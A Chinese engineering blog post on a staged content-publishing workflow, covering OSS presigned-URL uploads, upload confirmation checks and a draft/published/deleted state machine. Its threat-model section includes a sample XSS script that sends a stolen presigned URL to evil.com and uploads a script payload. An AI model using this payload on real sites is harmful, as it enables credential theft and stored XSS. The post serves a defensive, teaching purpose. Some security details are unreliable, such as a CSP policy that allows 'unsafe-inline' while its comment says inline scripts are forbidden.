渐进式发布

渐进式发布实战:知光平台的内容发布系统设计

从一个真实痛点说起

假设你在做一个知识社区平台(类似知乎、CSDN),用户可以在上面发布文章、分享经验。

某天,产品经理找到你:"我们的用户反馈说,写了一半的文章不小心关掉页面就丢了;还有用户说上传图片太慢了,尤其是高清大图;另外,能不能自动帮他们生成文章摘要?"

你一听,需求很明确:

  1. 草稿保存:防止内容丢失
  2. 高效上传:支持大文件快速上传
  3. AI 辅助:自动生成摘要

但作为后端工程师,你立刻意识到这些需求的背后隐藏着一系列工程挑战

  • 文件是直接存数据库还是对象存储?
  • 上传过程如果中断了怎么办?
  • 草稿和已发布的文章如何区分?
  • 如何保证发布过程的原子性(要么全成功,要么全失败)?
  • AI 生成摘要失败会不会阻塞主流程?

这就是今天要聊的主题------渐进式发布流程(Progressive Publishing Workflow)


什么是渐进式发布?

先给个定义:

渐进式发布是一种将复杂的"创建→编辑→发布"过程拆分为多个原子操作的设计模式,每个操作都有明确的状态转换、权限控制和容错机制。

听起来有点抽象?我们用生活中的例子类比:

想象你在写一本书:

  1. 构思阶段(DRAFT):在笔记本上随便写,想到什么写什么,不讲究格式
  2. 整理阶段(EDITING):把笔记整理成章节,调整结构,补充配图
  3. 审校阶段(REVIEW):请朋友帮忙看一遍,修改错别字
  4. 出版阶段(PUBLISHED):交给印刷厂,正式上架销售
  5. 下架阶段(DEPRECATED):过时了,从书店撤下来(但可能还有库存)

每个阶段都是独立且不可逆 的(你不能从"出版"回到"构思"),每个阶段都有明确的准入条件(比如必须完成整理才能进入审校)。

软件系统的内容发布也是一样的道理------只不过我们用状态机事务来保证这个过程的一致性。


核心架构:双模式文件上传策略

在设计渐进式发布之前,我们先解决一个基础问题:文件怎么上传到服务器?

传统方案的痛点

方案A:前端 → 后端 → OSS(代理上传)

复制代码
前端(浏览器)──HTTP POST──▶ 后端服务器 ──SDK调用──▶ 阿里云 OSS
                      ↑
                 (文件流经后端内存)

问题:

  • 后端服务器带宽压力大(假设 100 个用户同时上传 10MB 的图片,后端带宽就要承受 1GB/s)
  • 后端内存占用高(需要缓存整个文件再转发给 OSS)
  • 上传速度受限于后端服务器的出口带宽
  • 如果后端是集群部署,还涉及负载均衡的问题

方案B:前端直接上传到 OSS(直传)

复制代码
前端(浏览器)──HTTP PUT──▶ 阿里云 OSS
                     ↑
              (绕过后端,直接传OSS)

问题:

  • 安全性差(OSS 的 AccessKey 暴露在前端)
  • 无法做权限控制(谁都能往你的 Bucket 里传东西)
  • 无法记录上传日志或触发业务逻辑

知光平台的解决方案:预签名 URL 直传

核心思路:后端生成带签名的临时 URL,前端用这个 URL 直接上传到 OSS,既安全又高效。

完整流程图

图:预签名URL上传时序图(4个阶段)
阿里云OSS MySQL 后端服务 前端 阿里云OSS MySQL 后端服务 前端 第一阶段:创建草稿 第二阶段:获取预签名URL 第三阶段:前端直传文件到OSS 文件直接存储到OSS 不经过后端服务器 第四阶段:确认上传成功 POST /api/v1/knowposts/drafts INSERT (status=draft) 返回 postId 返回 {postId} POST /api/v1/storage/presign {scene, postId} 校验权限 生成预签名PUT URL (10分钟有效) 返回 putUrl + objectKey 返回 {putUrl, objectKey, expiresIn} PUT {putUrl} 文件二进制流 200 OK + ETag POST /api/v1/knowposts/{id}/content/confirm {objectKey, etag, size, sha256} UPDATE content_object_key等字段 afterCommit 触发RAG索引 204 No Content

文字版流程说明(防止平台不渲染):

第一阶段:创建草稿

  • 前端调用 POST /api/v1/knowposts/drafts
  • 后端在 MySQL 插入一条 status='draft' 的记录
  • 返回唯一的 postId 给前端

第二阶段:获取预签名URL

  • 前端调用 POST /api/v1/storage/presign,传入场景和帖子ID
  • 后端校验用户权限(是否是文章作者)
  • 后端调用阿里云 SDK 生成临时 PUT URL(10分钟有效)
  • 返回 {putUrl, objectKey, expiresIn: 600} 给前端

第三阶段:前端直传文件到OSS

  • 前端用预签名 URL 直接 HTTP PUT 上传文件到阿里云 OSS
  • 文件不经过后端服务器,节省带宽
  • OSS 返回 200 OK + ETag

第四阶段:确认上传成功

  • 前端调用 POST /api/v1/knowposts/{id}/content/confirm,回传元数据
  • 后端更新数据库记录(objectKey、contentUrl、ETag、SHA256等)
  • 事务提交后异步触发 RAG 向量化索引

为什么这样设计?

维度 代理上传 预签名直传
后端带宽压力 高(所有文件都经后端) 低(只传输元数据)
上传速度 受限于后端出口带宽 接近用户本地带宽上限
安全性 高(AccessKey在后端) 高(临时签名+过期机制)
业务逻辑整合 容易(可在上传时处理) 需要额外的确认步骤
适用场景 小文件(<5MB,如头像) 大文件(如文章配图、视频)

核心代码实现

1. 预签名 URL 生成(OssStorageServiceImpl.java(file:///d:/ideaProject/zhiguang/src/main/java/com/xiaoce/zhiguang/oss/service/Impl/OssStorageServiceImpl.java#L59-L82))
java 复制代码
public String generatePresignedPutUrl(String objectKey, String contentType, int expiresInSeconds) {
    ensureConfigured(); // 校验 OSS 配置完整性
    
    OSS client = new OSSClientBuilder().build(
        props.getEndpoint(), 
        props.getAk(),      // AccessKey ID
        props.getSk()       // AccessKey Secret
    );
    
    try {
        Date expiration = new Date(System.currentTimeMillis() + expiresInSeconds * 1000L);
        
        GeneratePresignedUrlRequest request = new GeneratePresignedUrlRequest(
            props.getBucket(),   // 存储桶名称
            objectKey,          // 对象路径(如 posts/12345/images/20260516/abc12345.jpg)
            HttpMethod.PUT       // HTTP 方法(PUT = 上传)
        );
        
        request.setExpiration(expiration);  // 过期时间
        
        if (contentType != null && !contentType.isBlank()) {
            request.setContentType(contentType);  // ⚠️ 关键:限制上传文件的 MIME 类型
        }
        
        URL url = client.generatePresignedUrl(request);  // 生成签名URL
        return url.toString();
        
    } finally {
        client.shutdown();  // 及时释放资源,避免连接泄漏
    }
}

关键设计点:

  1. 有效期控制expiresInSeconds = 600(10分钟),防止 URL 泄露后被滥用
  2. Content-Type 限制 :强制指定 MIME 类型(如 image/jpeg),防止用户上传恶意文件(如 HTML/JS)
  3. 资源释放finally 块中关闭 OSS Client,避免连接池耗尽
2. ObjectKey 生成策略(按场景分类)

OssStorageServiceImpl.createPresign()(file:///d:/ideaProject/zhiguang/src/main/java/com/xiaoce/zhiguang/oss/service/Impl/OssStorageServiceImpl.java#L123-L168)

java 复制代码
String objectKey;

if ("knowpost_content".equals(scene)) {
    // 场景1:文章正文(Markdown/HTML/TXT)
    // 路径格式:posts/{postId}/content.md
    objectKey = "posts/" + postId + "/content" + ext;
    
} else if ("knowpost_image".equals(scene)) {
    // 场景2:文章配图(JPG/PNG)
    // 路径格式:posts/{postId}/images/{yyyyMMdd}/{uuid8位}.jpg
    String date = DateTimeFormatter.ofPattern("yyyyMMdd")
        .withZone(ZoneId.of("UTC"))
        .format(Instant.now());
    
    String rand = UUID.randomUUID()
        .toString()
        .replaceAll("-", "")
        .substring(0, 8);  // 取 UUID 前8位,足够随机且不过长
    
    objectKey = "posts/" + postId + "/images/" + date + "/" + rand + ext;
}

为什么这样设计 ObjectKey?

  1. 层级清晰 :按 posts/{postId}/images/{date}/ 分层存储,便于管理和清理
  2. 避免冲突:UUID + 日期组合几乎不会重复
  3. 便于追溯:通过 ObjectKey 就能知道这个文件属于哪个帖子的哪天上传的
  4. 利于 CDN 缓存:静态资源 URL 包含时间戳,便于配置缓存策略
3. 权限校验(防止越权访问)
java 复制代码
// 在生成预签名URL之前,必须校验用户是否有权操作这个帖子
KnowPosts post = knowPostMapper.selectById(postId);

if (post == null || post.getCreatorId() == null || !post.getCreatorId().equals(userId)) {
    throw new BusinessException(ErrorCode.BAD_REQUEST, "草稿不存在或无权限");
}

这步很重要! 否则恶意用户可以伪造 postId,往别人的帖子里上传非法内容。


如果预签名URL被截取了怎么办?

这是一个生产级的关键安全问题。很多面试官会追问:"你的预签名URL方案看起来不错,但如果URL被人截取到了,会发生什么?"

让我们系统性地分析这个问题。

一、URL 可能被截取的所有场景
场景 攻击者 难度 风险等级
① 浏览器开发者工具 前端用户自己 极低(按F12即可)
② 网络抓包(Wireshark/Charles) 同局域网攻击者
③ 前端XSS漏洞泄露 远程攻击者 极高
④ 前端日志打印 运维人员/攻击者
⑤ HTTP Referer 泄露 第三方网站
⑥ 服务端日志泄露 内部人员/攻击数据库者
二、每种场景的详细分析和防护
场景①:浏览器开发者工具(最常见)

攻击方式:

复制代码
1. 用户A正常操作:创建草稿 → 获取预签名URL → 上传图片
2. 用户A打开浏览器 DevTools → Network 标签 → 找到 /storage/presign 的响应
3. 复制响应中的 putUrl 字段
4. 在 Postman/curl 中使用这个 putUrl 上传非法文件

危害评估:

  • 危害程度:中等
  • 因为URL有10分钟过期限制,且绑定了特定的 ObjectKey
  • 但在有效期内,攻击者可以覆盖用户的文件或上传垃圾数据

当前防护措施:

java 复制代码
// 防护1:ObjectKey 由服务端生成(前端无法指定路径)
objectKey = "posts/" + postId + "/images/" + date + "/" + rand + ext;
// 即使拿到URL,也只能上传到预定义的路径下

// 防护2:Content-Type 限制
request.setContentType(contentType);  // 只允许 image/jpeg 等合法类型

// 防护3:确认机制(最关键!)
// 前端上传成功后必须调用 confirm 接口回传元数据
// 后端会校验 ETag、SHA256 等信息,确保文件合法性

增强防护方案(推荐):

java 复制代码
/**
 * 方案A:绑定用户指纹到签名策略
 * 
 * 思路:在生成预签名URL时,将用户的 SessionID 或 Token 加入签名计算,
 *       这样即使URL被截取,没有合法的Session也无法完成后续确认步骤。
 */
public String generatePresignedPutUrl(String objectKey, String contentType, 
                                       int expiresInSeconds, String userSessionId) {
    
    // 1. 生成带用户标识的自定义Header
    Map<String, String> customHeaders = new HashMap<>();
    customHeaders.put("X-User-Session", DigestUtils.md5Hex(userSessionId));  // MD5哈希
    
    // 2. 将自定义Header加入签名计算
    request.setCustomHeaders(customHeaders);
    
    // 3. 生成URL
    URL url = client.generatePresignedUrl(request);
    return url.toString();
}

/**
 * 方案B:使用短期一次性Token(最安全但复杂度较高)
 * 
 * 思路:
 * 1. 后端生成一个随机的 uploadToken(UUID),存入Redis(TTL=10分钟)
 * 2. 将 uploadToken 作为 ObjectKey 的一部分或查询参数
 * 3. 前端上传时必须携带这个 token
 * 4. OSS 回调或 confirm 接口时验证 token 是否存在且未使用
 * 5. 使用后立即删除 token(保证一次性)
 */
public PresignResponse createPresignWithToken(Long userId, Long postId, String scene) {
    // 1. 生成一次性token
    String uploadToken = UUID.randomUUID().toString();
    
    // 2. 存入Redis(10分钟过期)
    stringRedisTemplate.opsForValue()
        .set("upload:token:" + uploadToken, 
             userId + ":" + postId + ":" + scene, 
             10, TimeUnit.MINUTES);
    
    // 3. 将token嵌入ObjectKey(或作为查询参数)
    String objectKey = "posts/" + postId + "/images/" + date + "/" + uploadToken + ext;
    
    // 4. 生成预签名URL
    String putUrl = generatePresignedPutUrl(objectKey, contentType, 600);
    
    return new PresignResponse(objectKey, putUrl, 600, uploadToken);
}

场景②:网络抓包(中间人攻击)

攻击方式:

复制代码
1. 攻击者和受害者连接同一WiFi(如咖啡厅公共WiFi)
2. 攻击者开启 ARP 欺骗或 DNS 劫持
3. 受害者的所有HTTP流量经过攻击者的电脑
4. 攻击者用 Wireshark 抓包,过滤出 presign 接口的响应
5. 提取 putUrl 并滥用

危害评估:

  • 危害程度:
  • 可以完全控制上传的内容
  • 可以在上传的图片中注入恶意代码(如果是HTML/SVG)

防护方案:全链路HTTPS

yaml 复制代码
# application.yml - 强制HTTPS配置
server:
  ssl:
    enabled: true
    key-store: classpath:keystore.p12
    key-store-password: ${SSL_KEYSTORE_PASSWORD}
    key-store-type: PKCS12
  
  # 强制重定向到HTTPS(如果收到HTTP请求)
  
# Spring Security 配置
security:
  require-ssl: true
  
# OSS 配置:只允许HTTPS回调
oss:
  callback-url: https://api.yourdomain.com/api/v1/storage/callback

额外防护:HSTS(HTTP Strict Transport Security)

java 复制代码
@Configuration
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            // ... 其他配置 ...
            
            .headers(headers -> headers
                .httpStrictTransportSecurity(hsts -> hsts
                    .includeSubDomains(true)
                    .maxAgeInSeconds(31536000)  // 1年
                    .preload(true)
                )
            );
        
        return http.build();
    }
}

HSTS的作用:

  • 告诉浏览器:以后访问这个域名只能用 HTTPS,不能用 HTTP
  • 有效期通常设置为 1 年(31536000 秒)
  • 即使攻击者成功劫持了第一次请求,浏览器也会拒绝后续的 HTTP 连接

场景③:前端 XSS 漏洞泄露(最危险)

攻击方式:

复制代码
1. 攻击者在评论框中写入恶意脚本:
   <script>
     fetch('/api/v1/storage/presign', {method:'POST'})
       .then(r => r.json())
       .then(data => {
         // 把预签名URL发送到攻击者的服务器
         fetch('https://evil.com/steal?url=' + encodeURIComponent(data.putUrl));
         
         // 或者直接用这个URL上传非法文件
         fetch(data.putUrl, {method:'PUT', body: '<script>alert(1)</script>'});
       });
   </script>
   
2. 用户B浏览包含这段脚本的页面
3. 脚本自动执行,窃取用户B的预签名URL并上传恶意内容

危害评估:

  • 危害程度:极高(生产事故级)
  • 可以冒充任何用户上传内容
  • 可能在其他用户的文章中植入恶意代码
  • 可能导致存储型XSS攻击链式反应

防护方案:多层防御

java 复制代码
/**
 * 防护1:Content-Security-Policy (CSP) 头
 * 限制前端只能加载指定来源的脚本
 */
@Configuration
public class WebMvcConfig implements WebMvcConfigurer {

    @Override
    public void addViewControllers(ViewControllerRegistry registry) {
        // ...
    }

    @Bean
    public FilterRegistrationBean<CspFilter> cspFilter() {
        FilterRegistrationBean<CspFilter> registration = new FilterRegistrationBean<>();
        CspFilter cspFilter = new CspFilter();
        
        // CSP 策略:只允许加载同源脚本,禁止内联脚本
        cspFilter.setPolicy("default-src 'self'; script-src 'self' 'unsafe-inline'; "
                          + "connect-src 'self' https://api.deepseek.com; "
                          + "img-src 'self' data: https:; "
                          + "style-src 'self' 'unsafe-inline'");
        
        registration.setFilter(cspFilter);
        registration.addUrlPatterns("/*");
        return registration;
    }
}

/**
 * 防护2:对输出内容进行 HTML 转义
 */
@Service
public class XssProtectionService {

    /**
     * 清理用户输入,防止XSS
     * 使用 OWASP Java HTML Sanitizer 库
     */
    public String sanitize(String input) {
        if (input == null) return null;
        
        // PolicyFactory 定义允许的HTML标签和属性
        PolicyFactory policy = Sanitizers.FORMATTING
            .and(Sanitizers.LINKS)
            .and(Sanitizers.BLOCKS)
            .and(Sanitizers.STYLES);  // 允许基本样式
        
        return policy.sanitize(input);
    }

    /**
     * 对JSON响应中的字符串进行转义
     */
    public String escapeJson(String input) {
        if (input == null) return null;
        return StringEscapeUtils.escapeJson(input);  // Apache Commons Text
    }
}

/**
 * 防护3:预签名URL设置 HttpOnly 和 SameSite Cookie
 */
@PostMapping("/presign")
public ResponseEntity<PresignResponse> presign(
        @AuthenticationPrincipal Jwt jwt,
        @Valid @RequestBody StoragePresignRequest request,
        HttpServletResponse response) {
    
    // 设置安全Cookie(防止CSRF和XSS窃取Cookie)
    ResponseCookie sessionCookie = ResponseCookie.from("SESSION_ID")
            .value(generateSecureSessionId())
            .httpOnly(true)      // 防止JavaScript读取
            .secure(true)        // 只在HTTPS下传输
            .path("/")
            .sameSite("Strict")  // 严格的同站策略
            .maxAge(Duration.ofHours(1))
            .build();
    
    response.addHeader("Set-Cookie", sessionCookie.toString());
    
    // ... 正常业务逻辑 ...
}

场景④:前端日志打印(开发环境遗留)

问题代码示例:

javascript 复制代码
//  错误做法:在生产环境中打印敏感信息
async function uploadImage(file, postId) {
    const res = await fetch('/api/v1/storage/presign', {
        method: 'POST',
        body: JSON.stringify({scene: 'knowpost_image', postId})
    });
    
    const data = await res.json();
    
    // 危险!把完整的预签名URL打印到控制台
    console.log('预签名URL:', data.putUrl);  // ❌ 生产环境不应该有这行
    console.log('完整响应:', data);           // ❌ 包含 objectKey 等敏感信息
    
    // 上传文件...
}

风险:

  • 如果用户开启了"保存日志"功能(某些浏览器插件),这些日志会被持久化到磁盘
  • 前端错误监控服务(如 Sentry)可能收集到这些日志
  • 如果控制台日志被第三方脚本读取(通过 console.log 的 hook),就会泄露

防护方案:

javascript 复制代码
// 正确做法:区分开发和生产环境
const isProduction = process.env.NODE_ENV === 'production';

async function uploadImage(file, postId) {
    const res = await fetch('/api/v1/storage/presign', {...});
    const data = await res.json();
    
    // 只在开发环境打印日志
    if (!isProduction && window.location.hostname === 'localhost') {
        console.log('[DEBUG] 预签名URL已获取,长度:', data.putUrl?.length);
        // 不打印完整URL,只打印长度用于调试
    }
    
    // 生产环境下完全不打印敏感信息
    // 即使要记录错误,也要脱敏处理
}

构建时的自动化清理(Webpack/Vite 配置):

javascript 复制代码
// vite.config.js
export default defineConfig({
    build: {
        minify: 'terser',
        terserOptions: {
            compress: {
                // 自动移除所有 console.log 语句
                drop_console: true,
                // 移除 debugger 语句
                drop_debugger: true,
                // 移除纯函数的死代码
                pure_funcs: ['console.info', 'console.debug'],
            },
        },
    },
});

场景⑤:HTTP Referer 头泄露

攻击方式:

复制代码
1. 用户在你的平台上获取了预签名URL
2. 用户点击了一个外部链接(比如某个论坛帖子)
3. 外部网站的访问日志会记录 Referer 头
4. Referer 中可能包含完整的URL参数(包括putUrl)

实际案例:

很多网站的搜索结果页、论坛帖子、短链接服务都会记录 Referer。如果预签名URL出现在 Referer 中,就相当于公开了这个临时凭证。

防护方案:Referrer-Policy 头

java 复制代码
@Configuration
public class WebMvcConfig implements WebMvcConfigurer {

    @Bean
    public FilterRegistrationBean<ReferrerPolicyFilter> referrerPolicyFilter() {
        FilterRegistrationBean<ReferrerPolicyFilter> registration = new FilterRegistrationBean<>();
        
        ReferrerPolicyFilter filter = new ReferrerPolicyFilter();
        
        // strict-origin-when-cross-origin: 跨域请求只发送来源(不含路径)
        // no-referrer: 从不发送 Referer(最安全,但会影响统计分析)
        filter.setPolicy("strict-origin-when-cross-origin");
        
        registration.setFilter(filter);
        registration.addUrlPatterns("/*");
        return registration;
    }
}

或者在前端 meta 标签中设置:

html 复制代码
<!-- 在 index.html 的 <head> 中添加 -->
<meta name="referrer" content="strict-origin-when-cross-origin">

四种 Referrer-Policy 策略对比:

策略值 行为 安全性 对SEO的影响
no-referrer 不发送任何 Referer 最高 无法统计流量来源
no-referrer-when-downgrade HTTPS→HTTP 时不发送 影响较小
origin 只发送域名(不含路径) 较高 影响较小
strict-origin-when-cross-origin 跨域时只发送域名 推荐 平衡安全和统计
unsafe-url 发送完整URL(默认行为) 最低 最利于统计

推荐使用 strict-origin-when-cross-origin:既能保护预签名URL不被泄露,又不影响正常的流量来源统计。


场景⑥:服务端日志泄露(内部威胁)

问题场景:

java 复制代码
//  错误做法:在日志中记录完整的预签名URL
log.info("生成预签名URL成功: userId={}, putUrl={}", userId, putUrl);

// 日志输出示例:
// [2026-05-16 10:23:45] INFO  OssStorageService - 生成预签名URL成功: userId=12345, 
// putUrl=https://your-bucket.oss-cn-hangzhou.aliyuncs.com/posts/12345/images/20260516/abc12345.jpg?
// OSSAccessKeyId=LTAI***&Signature=xxx%3D&Expires=1715840000

风险:

  • 如果日志系统被入侵(如 ELK 集群未授权访问),攻击者可以批量提取历史 URL
  • 如果日志被发送到第三方 APM 服务(如 Sentry、Datadog),可能被员工误查看
  • 符合合规要求(如 GDPR)的组织不能记录此类敏感信息

防护方案:日志脱敏

java 复制代码
/**
 * 工具类:敏感信息脱敏
 */
@Component
public class LogSanitizer {

    /**
     * 脱敏URL:隐藏签名参数,只保留路径
     * 
     * 示例:
     * 输入:https://bucket.oss...com/posts/123/img.jpg?OSSAccessKeyId=xxx&Signature=yyy&Expires=zzz
     * 输出:https://bucket.oss...com/posts/123/img.jpg?***(已脱敏)
     */
    public String sanitizeUrl(String url) {
        if (url == null || url.isBlank()) return "(null)";
        
        try {
            URL u = new URL(url);
            // 只保留协议+主机+路径,隐藏查询参数(签名信息都在query里)
            return u.getProtocol() + "://" + u.getHost() + u.getPath() + "?***";
        } catch (MalformedURLException e) {
            return "(invalid url)";
        }
    }

    /**
     * 脱敏AccessKey:只显示前4位和后4位
     * 
     * 示例:LTAI5tCx****RtEqP3
     */
    public String sanitizeAccessKey(String ak) {
        if (ak == null || ak.length() <= 8) return "***";
        return ak.substring(0, 4) + "****" + ak.substring(ak.length() - 4);
    }
}

// 使用示例
log.info("生成预签名URL成功: userId={}, path={}", 
    userId, logSanitizer.sanitizeUrl(putUrl));

// 日志输出(安全版本):
// [2026-05-16 10:23:45] INFO  OssStorageService - 生成预签名URL成功: userId=12345, 
// path=https://bucket.oss...com/posts/12345/images/20260516/abc12345.jpg?***

三、即使URL被截取后的"损害控制"

假设最坏的情况发生了------攻击者拿到了一个有效的预签名URL(还在10分钟有效期内)。他最多能做什么?我们如何把损失降到最低?

攻击者能做的:
攻击方式 危害 我们的防御
覆盖原文件 用户上传的图片被替换成恶意图片 confirm接口会校验SHA256,不匹配则拒绝
上传垃圾数据 OSS 存储成本增加 定期清理孤儿文件(无关联DB记录的OSS对象)
上传恶意HTML/SVG 如果被当作图片展示,可能导致XSS Content-Type限制为 image/*,浏览器不会执行
消耗带宽 上传超大文件耗尽带宽 限制 Content-Length(如最大10MB)
攻击者做不到的:
  1. 无法修改 ObjectKey 路径(由服务端硬编码生成)
  2. 无法让文件出现在别人的文章中(confirm 接口校验权限)
  3. 无法获取文件的公开访问URL(confirm 成功后才生成 content_url)
  4. 无法长期滥用(10分钟后URL失效)
"损害控制"的最佳实践:
java 复制代码
/**
 * confirm 接口的多层校验(最后一道防线)
 */
@Transactional
@DelayedDoubleDelete(id = "#id", delay = 500)
public void confirmContent(long creatorId, long id, String objectKey, 
                           String etag, Long size, String sha256) {
    
    // 第一层:基础校验
    KnowPosts post = knowPostMapper.selectById(id);
    if (post == null || !post.getCreatorId().equals(creatorId)) {
        throw new BusinessException("无权限");
    }
    
    // 第二层:ObjectKey 格式校验(防止路径遍历)
    if (!objectKey.startsWith("posts/" + id + "/")) {
        log.warn("可疑的ObjectKey: userId={}, objectKey={}", creatorId, objectKey);
        throw new BusinessException("非法的对象路径");
    }
    
    // 第三层:文件大小合理性校验
    if (size != null && (size < 100 || size > 10 * 1024 * 1024)) {  // 100B ~ 10MB
        log.warn("异常的文件大小: userId={}, size={}", creatorId, size);
        throw new BusinessException("文件大小异常");
    }
    
    // 第四层:SHA256 完整性校验(核心!)
    if (sha256 != null && !sha256.isBlank()) {
        // 前端上传前会计算文件的 SHA256,这里做二次校验
        // 如果 SHA256 不匹配,说明文件在传输过程中被篡改
        String actualSha256 = calculateOssFileSha256(objectKey);  // 调用OSS API获取文件哈希
        if (!actualSha256.equalsIgnoreCase(sha256)) {
            log.error("SHA256不匹配! expected={}, actual={}, userId={}", 
                sha256, actualSha256, creatorId);
            
            // 可选:删除可疑文件
            deleteOssObject(objectKey);
            
            throw new BusinessException("文件完整性校验失败");
        }
    }
    
    // 第五层:ETag 一致性校验
    if (etag != null && !etag.isBlank()) {
        // ETag 是 OSS 返回的文件唯一标识(通常是MD5)
        String actualEtag = getOssObjectEtag(objectKey);
        if (!actualEtag.equals(etag)) {
            throw new BusinessException("ETag不匹配");
        }
    }
    
    // 所有校验通过,更新数据库
    lambdaUpdate()
        .eq(KnowPosts::getId, id)
        .set(KnowPosts::getContentObjectKey, objectKey)
        .set(KnowPosts::getContentEtag, etag)
        .set(KnowPosts::getContentSize, size)
        .set(KnowPosts::getContentSha256, sha256)
        .set(KnowPosts::getContentUrl, publicUrl(objectKey))
        .update();
    
    // 异步触发 RAG 索引...
}

这个多层校验机制的意义:

即使攻击者截获了预签名URL并上传了恶意文件,只要:

  • 文件大小不在合理范围 → 被拦截
  • 文件的 SHA256 与前端计算的值不匹配 → 被拦截(说明文件被篡改)
  • ObjectKey 路径不符合规则 → 被拦截

那么这个恶意文件虽然存在于 OSS 中,但永远不会与任何文章关联,也不会对用户可见(因为 confirm 接口拒绝了)。


状态机设计:渐进式发布的灵魂

有了文件上传的基础设施,现在我们来设计核心的状态机------这是渐进式发布的灵魂所在。

知光平台的文章状态定义

根据 KnowPosts.java(file:///d:/ideaProject/zhiguang/src/main/java/com/xiaoce/zhiguang/knowpost/domain/po/KnowPosts.java#L72-L73) 实体类和 db.sql(file:///d:/ideaProject/zhiguang/db/db.sql#L50) 建表语句:

sql 复制代码
CREATE TABLE know_posts (
    id BIGINT PRIMARY KEY,
    creator_id BIGINT NOT NULL,
    status VARCHAR(16) NOT NULL DEFAULT 'draft' 
        COMMENT '状态: draft(草稿), published(已发布), deleted(已删除)',
    title VARCHAR(255),
    content_object_key VARCHAR(512) COMMENT 'OSS 对象路径',
    content_url VARCHAR(1024) COMMENT '公开访问URL',
    publish_time DATETIME COMMENT '发布时间',
    -- ... 其他字段
);

状态流转图

图:文章状态机流转图
POST /drafts

创建草稿
POST /{id}/publish

正式发布
DELETE /{id}

删除草稿
DELETE /{id}

下架文章(软删除)
Draft
Published
Deleted
草稿状态:

  • 只有作者可见

  • 可多次编辑内容和元数据

  • 不计入用户的"文章数"
    已发布状态:

  • 所有用户可见

  • 出现在Feed流和搜索结果中

  • 触发计数器更新 (+1)

  • 触发RAG向量化索引
    已删除状态:

  • 软删除(非物理删除)

  • 对所有用户不可见

  • 计数器更新 (-1)

  • 数据保留一段时间后可物理清理

文字版状态说明(防止平台不渲染):

三种状态定义:

  1. DRAFT(草稿)

    • 初始状态,只有作者自己能看到
    • 可以反复编辑内容(上传文件、修改标题、调整标签等)
    • 不出现在 Feed 流、搜索结果中
    • 不计入用户的"文章数"统计
  2. PUBLISHED(已发布)

    • 正式对外展示,所有符合条件的用户都能看到
    • 出现在首页 Feed 流、搜索结果、个人主页中
    • 触发副作用:计数器 +1、RAG 向量化索引、粉丝通知(未来可扩展)
  3. DELETED(已删除)

    • 软删除(数据库记录保留,但标记为 deleted)
    • 对所有用户不可见(查询时会过滤 status != 'deleted'
    • 触发副作用:计数器 -1
    • 数据保留一段时间后可物理清理或归档

关键约束(必须遵守):

  • 只能从 DRAFT → PUBLISHED(不能跳过草稿直接发布)
  • DRAFT → DELETED(草稿可以随时删除)
  • PUBLISHED → DELETED(已发布的文章可以下架)
  • PUBLISHED 和 DELETED 都是终态(不能再回到 DRAFT)
  • 每次状态变更都必须校验当前状态(防止并发重复操作)

完整生命周期:5个阶段的实现细节

阶段一:创建草稿

接口: POST /api/v1/knowposts/drafts
实现: KnowPostsServiceImpl.createDraft()(file:///d:/ideaProject/zhiguang/src/main/java/com/xiaoce/zhiguang/knowpost/service/impl/KnowPostsServiceImpl.java#L163-L183)

java 复制代码
@Transactional
public long createDraft(long creatorId) {
    // 1. 生成全局唯一ID(雪花算法)
    long id = idGen.nextId();
    Instant now = Instant.now();
    
    // 2. 构建实体对象
    KnowPosts knowPosts = KnowPosts.builder()
        .id(id)
        .creatorId(creatorId)
        .status("draft")           // 初始状态:草稿
        .type("image_text")
        .visible("public")
        .isTop(false)
        .createTime(now)
        .updateTime(now)
        .build();
        
    // 3. 持久化到数据库
    this.save(knowPosts);
    
    return id;  // 返回帖子ID,供后续操作使用
}

设计要点:

  • 使用雪花算法生成分布式唯一ID(避免主键冲突)
  • 初始状态固定为 draft(不允许自定义)
  • 返回 ID 给前端,后续所有操作都基于这个 ID

阶段二:内容确认(OSS 文件关联)

接口: POST /api/v1/knowposts/{id}/content/confirm
实现: KnowPostsServiceImpl.confirmContent()(file:///d:/ideaProject/zhiguang/src/main/java/com/xiaoce/zhiguang/knowpost/service/impl/KnowPostsServiceImpl.java#L205-L243)

这是最复杂的一个阶段,因为它涉及到文件上传后的回调确认

java 复制代码
@Transactional(rollbackFor = Exception.class)
@DelayedDoubleDelete(id = "#id", delay = 500)  // 自定义注解:延迟双删缓存
public void confirmContent(long creatorId, long id, String objectKey, 
                           String etag, Long size, String sha256) {
    
    // 1. 清除旧缓存(防止脏读)
    invalidateCache(id);
    
    // 2. 条件更新(确保权限 + 原子性)
    boolean success = lambdaUpdate()
        .eq(KnowPosts::getId, id)
        .eq(KnowPosts::getCreatorId, creatorId)  // 权限校验:只有作者能操作
        .set(objectKey != null, KnowPosts::getContentObjectKey, objectKey)
        .set(etag != null, KnowPosts::getContentEtag, etag)
        .set(size != null, KnowPosts::getContentSize, size)
        .set(sha256 != null, KnowPosts::getContentSha256, sha256)
        .set(KnowPosts::getContentUrl, publicUrl(objectKey))  // 生成公开访问URL
        .set(KnowPosts::getUpdateTime, Instant.now())
        .update();
    
    // 3. 【核心】事务提交后异步触发副作用
    TransactionSynchronizationManager.registerSynchronization(new TransactionSynchronization() {
        @Override
        public void afterCommit() {
            try {
                // 触发 RAG 向量化索引(用于AI智能问答)
                ragIndexService.ensureIndexed(id);
            } catch (Exception e) {
                log.warn("Pre-index after content confirm failed, post {}: {}", id, e.getMessage());
                // 容错:索引失败不影响主流程
            }
        }
    });
}

三个关键设计点解析:

设计点1:延迟双删缓存(@DelayedDoubleDelete)

问题场景:

复制代码
T=0s   用户A读取帖子详情(命中缓存,返回旧数据)
T=1s   用户B更新了帖子内容(数据库更新成功,缓存被删除)
T=2s   用户A再次读取(缓存未重建,可能读到旧缓存或新查库)

解决方案:

  • 更新数据库前,先删除一次缓存(第一次删除)
  • 事务提交后,延迟 500ms 再删除一次缓存(第二次删除)
  • 这能解决"缓存一致性"的经典问题
设计点2:条件更新(防止并发冲突)
java 复制代码
.eq(KnowPosts::getCreatorId, creatorId)  // 必须匹配作者ID

为什么这样写?

  • 防止 CSRF 攻击(伪造请求操作别人的帖子)
  • 防止竞态条件(两个请求同时更新同一条记录)
  • 符合最小权限原则(只允许作者修改自己的内容)
设计点3:事务同步回调(TransactionSynchronization)

为什么要用 afterCommit()

因为 RAG 索引是一个耗时操作(可能需要几秒钟),如果放在事务内:

  • 会延长数据库事务持有时间(增加锁竞争)
  • 如果索引失败,会导致整个事务回滚(即使数据库更新已经成功了)

